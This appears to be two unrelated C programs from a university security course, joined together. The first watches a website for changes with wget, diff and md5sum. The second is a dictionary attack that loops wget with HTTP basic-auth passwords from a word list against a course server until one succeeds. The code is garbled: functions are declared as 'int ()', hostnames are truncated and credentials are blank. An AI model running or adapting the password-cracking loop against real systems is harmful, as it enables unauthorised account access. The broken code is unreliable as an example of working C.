#include<stdio.h>
#include<stdlib.h>

int ()
{

FILE *fin1;
FILE *fin2;
int flag=0;


while(1)
{
    
        system("wget -p http://www.cs.rmit.edu./students");

        system("cd www.cs.rmit.edu./");

    
    
   if(flag>0)
   {
    
    fin1=fopen("./watchtext/index.html","r");
    fin2=fopen("./watchtext/test2.txt","r");
    system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");
    system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");
    system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");
    system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");
    system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");
    system("rm ./www.cs.rmit.edu./test2.txt");
           
    fclose(fin2);
    fclose(fin1);   
   }    
  
    if(flag==0)
    {
     system("mkdir watchtext");     
     if((fin1=fopen("./watchtext/index.html","r"))==NULL)
     {
      system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");
      system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");
      
      flag++;
      }
     
   } 
    
  
  
   printf("Running every 24 hours");     
  sleep(86400); 
  
}
 system("rmdir ./watchtext");      
}       
       
       
       
       



#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
char a[100];
int count=0;
char ch;
char line[100];
char filename[50];
char *token;
const char delimiter[]=" \n.,;:!-";
FILE *fp;
int  total_time,start_time,end_time;
start_time = time();
strcpy(filename,"/usr/share/lib/dict/words");
if((fp=fopen(filename,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
while((fgets(line,sizeof(line),fp))!=NULL)
{
        token=strtok(line,delimiter); 
        while(token!=NULL)
                {
            count++;
	    printf("ATTEMPT : %d\n",count);
strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");
                strcat(a,token);                
                printf("The request %s\n",a); 
                if(system(a)==0)
		{
		printf("Congratulations!!!Password obtained using DICTIONARY ATTACK\n");
		printf("************************************************************\n");
		printf("Your password is %s\n",token);
		printf("The Request sent is %s \n",a);
                end_time = time();
                total_time = (end_time -start_time);
                total_time /= 1000000000.0;
                printf("The Time Taken is : %llds\n",total_time);
		exit(1);
		}

              
                token=strtok(NULL,delimiter);
                
                 }
}


fclose(fp);
return 0;
}
